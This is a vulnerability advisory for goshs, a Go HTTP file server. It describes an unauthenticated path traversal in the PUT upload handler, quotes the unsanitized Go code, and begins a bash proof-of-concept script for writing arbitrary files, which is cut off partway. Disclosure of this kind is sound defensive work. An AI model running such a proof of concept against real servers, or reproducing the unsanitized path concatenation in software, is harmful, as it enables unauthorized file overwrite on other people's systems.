goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, PUT upload in httpserver/updown.go has no path sanitization. This vulnerability is fixed in 2.0.0-beta.3.

Affected: Go: github.com/patrickhener/goshs

### Summary * PUT upload has no path sanitization | `httpserver/updown.go:20-69`

This finding affects the default configuration, no flags or authentication required.

### Details

**File:** `httpserver/updown.go:20-69` **Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`)

The handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.

```go func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) { upath := req.URL.Path // unsanitized

filename := strings.Split(upath, "/") outName := filename[len(filename)-1]

targetpath := strings.Split(upath, "/") targetpath = targetpath[:len(targetpath)-1] target := strings.Join(targetpath, "/")

savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName) // ... os.Create(savepath) // arbitrary path write ```

`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.

**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.

**PoCs:** ```bash #!/usr/bin/env bash # Write an arbitrary file on a running goshs instance via PUT. # # Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" LO…

goshs-2.0.0-1.1 on GA media